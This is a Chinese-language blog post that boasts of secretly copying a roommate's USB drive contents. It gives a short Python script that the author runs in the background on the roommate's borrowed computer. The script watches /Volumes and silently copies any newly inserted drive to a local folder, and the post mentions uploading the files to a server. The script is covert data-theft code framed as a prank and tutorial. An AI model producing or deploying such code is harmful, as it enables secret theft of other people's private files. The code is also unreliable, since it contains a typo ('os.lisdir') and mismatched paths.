11行Python代码,盗取了室友的U盘内容
序言
那个猥琐的家伙整天把个U盘藏着当宝,到睡觉了就拿出来插到电脑上。
我决定想个办法看他U盘里都藏了什么,直接去抢U盘是不可能的,骗也是不可能的。那不是丢我Python程序员的脸?
我必须在电脑上智取,而且不能被他发现。

我的思路:
- 当一个usb插入时,在后台自动把usb里的东西拷贝到本地或上传到某个服务器。
- 那么我就可以先借他电脑玩一会,然后把我写好的Python程序在电脑后台运行。每当有usb插入的时候,就自动拷贝文件。

如何判断U盘是否插入?

首先打开电脑终端,进入/Volumes目录,然后插入U盘,能够看到它被挂载在了这个目录之下,那么,如果我们随时扫描这个目录,当这个目录有新文件夹出现时,应该就是有U盘被插入了。
用time.sleep(5)函数,让程序保持运行状态,并且每隔秒扫描一下/Volumes/目录,一出现新的文件夹,立马拷贝到另外的文件夹。
1# encoding=utf-8
2"""
3文件copy demo
4"""
5import os
6import shutil
7from time import sleep
8
9def copyCopy(usb_path):
10 # os.listdir(dir)返回dir下所有文件夹及文件的名称
11 usb_file = os.listdir(usb_path)
12 while True:
13 new_usb_file = os.lisdir(usb_path)
14 if new_usb_file != usb_file:
15 break
16 sleep(5) #每隔5s扫描一次
17 file = [f for f in new_usb_file if f not in usb_file]
18 shutil.copytree(os.path.join(usb_path, file[0]), '/home/work/copyCopy')
19
20if __name__ == "__main__":
21 usb_path = "/Volumes/"
22 copyCopy(usb_path)
能够看到U盘在插入大约30s后全部复制到home目录下了。

我只能说到这里了。。。
下面是为初学者们准备的python电子书籍资料和python入门教程!

